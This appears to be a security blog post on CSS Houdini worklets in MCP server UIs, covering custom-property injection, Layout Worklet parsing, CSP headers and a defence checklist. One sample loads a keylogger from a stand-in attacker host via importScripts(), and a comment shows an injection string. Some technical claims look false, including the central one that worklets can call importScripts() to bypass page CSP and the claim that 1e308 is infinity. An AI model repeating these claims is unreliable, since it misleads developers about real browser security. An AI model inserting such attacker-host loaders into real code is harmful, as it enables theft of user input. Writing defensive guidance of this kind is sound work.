MCP Server Security · CSS Houdini · Paint Worklet · Custom Properties · CSP
MCP Server CSS Houdini Security: Paint Worklet injection via custom properties, importScripts CSP bypass, and Layout API attack surface
CSS Houdini gives JavaScript code direct access to the browser's rendering pipeline through three Worklet types: Paint (custom background geometry), Layout (custom element layout algorithms), and Animation (physics-driven animation). Each Worklet runs in a PaintWorkletGlobalScope or equivalent — a deliberately restricted global with no DOM access and no fetch(). That restriction sounds protective. It is not. Worklets receive their input exclusively through CSS custom properties, and CSS custom properties can be set from MCP tool output. If a malicious MCP tool result can inject a value into a custom property that a Worklet reads, the Worklet will process that injected value in code the author did not intend. Worse: importScripts() inside a Houdini Worklet is subject to the Worklet's own response headers, not the page's script-src Content Security Policy. A CSP that locks down script-src to 'self' does not prevent a Worklet from loading an external payload script. This post maps every attack vector and the correct defense for each.
The Houdini architecture and why MCP tool output reaches Worklet code
A typical Houdini Paint Worklet setup has three components working together:
- Property registration —
CSS.registerProperty()declares the custom property name, value type, initial value, and inheritance behavior - Worklet registration —
CSS.paintWorklet.addModule('/worklet.js')loads the paint code - Property value setting — application code sets the custom property on an element to pass data to the Worklet
The attack surface is step 3. In MCP UIs, tool output frequently becomes the source of the value set in step 3. A tool that returns a dataset for charting, a temperature reading for a gauge, a confidence score for a progress bar — all of these become CSS custom property values that the Worklet processes.
// Typical MCP UI pattern: tool result drives a custom property
async function renderToolResult(toolName, result) {
const el = document.querySelector('.tool-output-chart');
// Dangerous: raw tool result value set as custom property
// CSS.registerProperty may have a strict syntax, but the value source is untrusted
el.style.setProperty('--chart-data', result.value);
el.style.setProperty('--chart-label', result.label); // ← string type: any value
}
// Paint Worklet receives '--chart-data' and '--chart-label' in paint()
registerPaint('tool-chart', class {
static get inputProperties() {
return ['--chart-data', '--chart-label'];
}
paint(ctx, size, properties) {
const data = properties.get('--chart-data').toString();
const label = properties.get('--chart-label').toString();
// Worklet processes these values — if they contain attacker-controlled strings,
// any string-parsing logic here becomes injection territory
parseAndRender(ctx, size, data, label);
}
});
Attack vector 1: Unregistered custom property injection
CSS custom properties fall into two categories: registered (via CSS.registerProperty()) and unregistered. Unregistered custom properties accept any string value without validation. Registered properties can be constrained to a specific syntax type — '<number>', '<color>', '<length>', and so on — which causes the browser to reject values that don't match before passing them to the Worklet.
The trap: even when a Worklet reads a registered property, if that same Worklet also reads any unregistered property, the unregistered one is the injection vector. A Worklet that mixes registered properties for numeric data and unregistered properties for labels or metadata exposes the unregistered properties to arbitrary string injection.
// Safe: numeric property registered with strict type
CSS.registerProperty({
name: '--sensor-value',
syntax: '<number>', // only numbers; any other value is rejected at CSS parse time
inherits: false,
initialValue: '0'
});
// Dangerous: string label property left unregistered — accepts any string
// CSS.registerProperty NOT called for '--sensor-label'
// el.style.setProperty('--sensor-label', toolResult.label);
// If toolResult.label = "temp});ctx.fillRect(0,0,9999,9999);//"
// the toString() in paint() returns that exact malicious string for parsing
// Safe: register the label property too, even with a permissive type that limits to
// a specific CSS type; if you need arbitrary text, validate it server-side before
// setting the property
CSS.registerProperty({
name: '--sensor-label',
syntax: '<custom-ident>', // limits to CSS identifier syntax: no special characters
inherits: false,
initialValue: 'default'
});
syntax: '*' is not protection. The universal syntax accepts every string value — including injection payloads — and is equivalent to leaving the property unregistered for the purposes of value injection. The only syntaxes that provide filtering are the named CSS value types: '<number>', '<integer>', '<color>', '<length>', '<angle>', '<time>', '<custom-ident>', and their list variants. If your data is a free-form string, the CSS type system cannot validate it — validate it in application code before setting the property.
Attack vector 2: String parsing in Worklet paint() methods
Even with type registration, Worklet code often parses the value string to extract structured data — comma-separated numbers, semicolon-delimited key-value pairs, JSON-like fragments. This custom parsing is the real injection surface because the browser's type validation only enforces CSS value syntax, not semantic content. A '<number>'-typed property accepts 42 — it rejects hello — but it does not enforce a range or prevent values like 1e308 (infinity) or -1 (negative values breaking canvas coordinates).
Semantic range attack via CSS-valid values
A temperature gauge Worklet draws a needle from 0° to 180° based on a '<number>'-registered --temp-value property. The property only accepts numbers, so injection of non-numeric strings is blocked. But el.style.setProperty('--temp-value', '99999') passes CSS validation. Inside paint(), the unclamped value 99999 causes ctx.arc(cx, cy, r, startAngle, startAngle + (value/100 * Math.PI)) to draw with an extreme rotation angle, potentially triggering infinite-loop-like behavior in the canvas drawing routines or simply rendering garbage. The correct fix is to clamp all values in Worklet code regardless of CSS registration: const safe = Math.max(0, Math.min(100, value)).
// Worklet that parses a comma-separated list — injection via crafted values
registerPaint('multi-bar', class {
static get inputProperties() {
return ['--bar-data']; // registered as '<number>+' (space-separated) or unregistered
}
paint(ctx, size, properties) {
const raw = properties.get('--bar-data').toString();
// Dangerous: split and parse without clamping
const values = raw.split(',').map(v => parseFloat(v.trim()));
values.forEach((v, i) => {
// v could be NaN, Infinity, negative, or astronomically large
const barH = (v / 100) * size.height; // ← unclamped height
ctx.fillRect(i * 20, size.height - barH, 16, barH);
});
// Safe: validate each value in the Worklet, not just in CSS
const safeValues = raw.split(',')
.map(v => parseFloat(v.trim()))
.filter(v => isFinite(v))
.map(v => Math.max(0, Math.min(100, v)));
}
});
Attack vector 3: importScripts() bypasses the page's script-src CSP
This is the most dangerous Houdini attack vector because it allows executing arbitrary external code even when the page has a strict Content-Security-Policy. Houdini Worklets, like classic Web Workers, support importScripts() to load additional script modules. The CSP enforcement model for Worklet scripts is:
- The Worklet module itself (loaded via
CSS.paintWorklet.addModule(url)) is subject to the page'sworker-srcdirective (falling back toscript-src) - Scripts loaded by
importScripts()inside the Worklet are fetched by the Worklet's own browsing context, and the response CSP header of the Worklet script's origin applies — not the page's CSP
In practice: if the Worklet script is served from the same origin as the page, and the same origin does not set a Content-Security-Policy response header on the Worklet script endpoint, then importScripts('https://attacker.com/payload.js') inside the Worklet succeeds despite the page having script-src 'self'.
// Page CSP: "Content-Security-Policy: script-src 'self'"
// Worklet is loaded from same origin — permitted by worker-src fallback to script-src
CSS.paintWorklet.addModule('/worklets/chart.js');
// chart.js (same-origin):
registerPaint('tool-chart', class {
constructor() {
// This importScripts() call is made from the Worklet's own global
// CSP enforcement here uses the response headers of /worklets/chart.js,
// not the page's CSP
// If /worklets/chart.js response has no CSP header (common), this succeeds:
importScripts('https://attacker.com/keylogger.js');
}
paint(ctx, size, properties) { /* ... */ }
});
Defense: The Worklet script endpoint (/worklets/chart.js) must serve its own Content-Security-Policy: script-src 'self' header so that importScripts() to external origins is blocked at the Worklet level. Alternatively, avoid importScripts() entirely in Worklet files — inline all logic in the Worklet module. Check with grep -r 'importScripts' worklets/ and remove all external-URL importScripts() calls.
Attack vector 4: Shared CSS custom property namespace across Worklets
Multiple Houdini Worklets registered on the same page each run in their own isolated global scope — they cannot read each other's variables directly. However, all Worklets on the page share the same CSS custom property namespace on the same DOM elements. A Worklet that registers --shared-state as an input property reads the value set by any script on the page — including script from other Worklets' output contexts.
The cross-Worklet attack path requires JavaScript execution, which is already a strong primitive. The risk is that Worklet developers sometimes assume their input properties are "internal" to their Worklet — they are not. Any same-origin script can set el.style.setProperty('--shared-state', poisonedValue) and influence the Worklet's rendering, including MCP tool output scripts if they share an origin with the page.
// Two Worklets share the same DOM element — Worklet B can be influenced
// by values that were intended only for Worklet A
document.querySelector('.viz').style.setProperty('--viz-config', toolResult.config);
// Worklet A reads '--viz-config' and renders a chart
// Worklet B (a different chart type) also reads '--viz-config' for its own use
// If the value satisfies Worklet A's validation but not Worklet B's,
// Worklet B encounters an unexpected value from tool output it never directly touched
Attack vector 5: Animation Worklet timing side channels
CSS Animation Worklets (part of the Houdini Animation Worklet spec) receive a currentTime parameter in the animate() method that represents the document timeline's current time in milliseconds, with sub-millisecond precision. While Animation Worklets do not have access to performance.now() directly, the animation timeline provides equivalent timing resolution.
If an MCP UI registers an Animation Worklet that animates based on a user interaction — scroll position driving a data visualization, mouse movement controlling a chart highlight — the currentTime received in animate() encodes the timestamp of each user interaction. If the Worklet could write this timing data anywhere accessible to external code, it would constitute a timing side channel. The current Animation Worklet spec limits write-back (Worklets cannot directly communicate to the main thread except through the effect output), but this should be monitored as the spec evolves and as polyfills that bridge the spec gap are adopted.
Attack vector 6: Layout Worklet arbitrary element rendering
The CSS Layout API (CSS.layoutWorklet.addModule()) is the most powerful Houdini surface and the most experimental. A Layout Worklet can define a completely custom CSS display value that the browser uses for element layout — meaning the Worklet code determines the size and position of every child element. Layout Worklets receive a children iterable and a constraints object and return explicit child fragment positions.
Layout Worklet arbitrary sizing via custom property injection
A Layout Worklet reads a --layout-config custom property to parameterize its layout algorithm. MCP tool output sets --layout-config to an attacker-controlled value. Inside the Layout Worklet's layout() method, the injected config string is parsed to determine child element positions and sizes. A crafted config value can cause children to be rendered at coordinates outside the visible viewport, hidden behind other elements, or sized to 0x0 pixels — effectively hiding page content from the user without removing it from the DOM (which might trigger visibility observers).
// Layout Worklet reads custom property for layout configuration
registerLayout('mcp-card-grid', class {
static get inputProperties() {
return ['--grid-config'];
}
async layout(children, edges, constraints, styleMap) {
const configStr = styleMap.get('--grid-config').toString();
// Dangerous: parsing an attacker-controlled string to determine child positions
const config = JSON.parse(configStr); // ← JSON.parse of untrusted string
const cols = config.columns; // ← could be 0, -1, or 99999
const childFragments = await Promise.all(
children.map((child, i) => {
return child.layoutNextFragment({
availableInlineSize: constraints.fixedInlineSize / cols,
availableBlockSize: constraints.fixedBlockSize
});
})
);
// Safe: validate all config values before use
const safeCols = Math.max(1, Math.min(12, parseInt(config.columns) || 1));
return { autoBlockSize: totalHeight, childFragments };
}
});
PaintWorkletGlobalScope restrictions — what Worklets cannot do
To ground the threat model, here is what Houdini Worklets cannot do in the current spec, which limits but does not eliminate the attack surface:
The restrictions eliminate data exfiltration via network and DOM reading. But they do not prevent: injection via custom properties, importScripts() CSP bypass, rendering manipulation that hides or distorts page content, or timing side channels via the animation timeline.
Comprehensive defense: CSS Houdini in MCP server UIs
1. Register every Worklet input property with the most restrictive syntax
// For every property passed to a Worklet, call CSS.registerProperty()
// Use the most restrictive syntax that fits the data:
CSS.registerProperty({ name: '--chart-value', syntax: '<number>', inherits: false, initialValue: '0' });
CSS.registerProperty({ name: '--chart-color', syntax: '<color>', inherits: false, initialValue: '#0a0a0a' });
CSS.registerProperty({ name: '--chart-label', syntax: '<custom-ident>', inherits: false, initialValue: 'none' });
// Never use syntax: '*' for properties derived from tool output
// Always set a safe initialValue so the Worklet has a fallback if the value fails validation
2. Validate and clamp all Worklet inputs in paint() / layout()
// Clamp all numeric values; never trust CSS validation alone
registerPaint('safe-gauge', class {
static get inputProperties() { return ['--gauge-value']; }
paint(ctx, size, properties) {
const raw = parseFloat(properties.get('--gauge-value').toString());
// Clamp to valid range even after CSS type validation
const value = isFinite(raw) ? Math.max(0, Math.min(100, raw)) : 0;
// Now use value safely in canvas operations
ctx.arc(size.width / 2, size.height / 2, size.height * 0.45,
Math.PI, Math.PI + (value / 100) * Math.PI);
}
});
3. Serve Worklet script endpoints with their own CSP header
# Caddy config: serve Worklet files with a restrictive script-src
handle /worklets/* {
header Content-Security-Policy "script-src 'self'; worker-src 'self'"
root * /srv/product
file_server
}
# This prevents importScripts() to external origins from within Worklet code
# even if the developer accidentally adds an importScripts() call
4. Never use importScripts() in Worklet files
# Search for importScripts in all Worklet files and remove them grep -r 'importScripts' product/worklets/ # If any external importScripts() exists, inline the required code directly # in the Worklet file or refactor it to a module import at the CSS.paintWorklet.addModule() level
5. Sandbox MCP tool output — never let it set Worklet input properties
The root cause in most MCP Houdini vulnerabilities is that tool output has a code path to set CSS custom properties that Worklets read. The architectural fix is to isolate tool output rendering from the element tree that hosts Houdini Worklets. Render tool output in a sandboxed iframe (sandbox="allow-scripts", no allow-same-origin) — cross-origin sandboxed iframes cannot set custom properties on the parent document's elements.
<!-- Sandboxed tool output rendering: cross-origin, cannot reach parent CSS -->
<iframe
id="tool-output-frame"
sandbox="allow-scripts"
srcdoc="..."
style="border:none;width:100%;height:300px"
></iframe>
<!-- Because allow-same-origin is NOT present, this iframe cannot run
parent.document.querySelector('.chart').style.setProperty(...) -->
Security checklist for CSS Houdini in MCP server UIs
- Every CSS custom property used as Worklet input is registered via
CSS.registerProperty()with a strictsyntaxvalue (not'*') - All numeric Worklet inputs are validated and clamped in
paint()/layout()code after CSS type checking - No
importScripts()calls in any Worklet file — or all Worklet endpoints serve a restrictiveContent-Security-Policyheader - MCP tool output is rendered in a sandboxed cross-origin iframe — no code path from tool output to
document.querySelector('.houdini-element').style.setProperty() - JSON parsing of custom property values in Layout Worklets validates every field before use in size/position calculations
- Layout Worklet column/row counts are clamped to a reasonable maximum (e.g., 1–24) to prevent zero-division or out-of-bounds child positioning
- Animation Worklets do not expose timing data back to the main thread via any writable side-channel (review all postMessage paths from Animation Worklet scripts)
SkillAudit findings
syntax: '*'. Arbitrary string values from tool results reach Worklet parsing logic. −18 pts
importScripts() call to an external URL, and the Worklet script endpoint does not serve its own Content-Security-Policy header. Page-level CSP is bypassed. −16 pts
JSON.parse() without try/catch and without validating the resulting object's properties before use in child positioning calculations. Crafted tool output causes unclamped element positions. −14 pts
syntax: '*' used as Worklet input. Universal syntax accepts any value; CSS type validation provides no filtering. −10 pts
'<number>' registration validates type but not range — Infinity, negative values, and extremely large values are all valid CSS numbers. −8 pts
See also: MCP server CSS Houdini security reference · MCP server CSP deep dive (script-src and worker-src interaction) · MCP server Worker Thread security (Worker isolation model parallels Worklet isolation)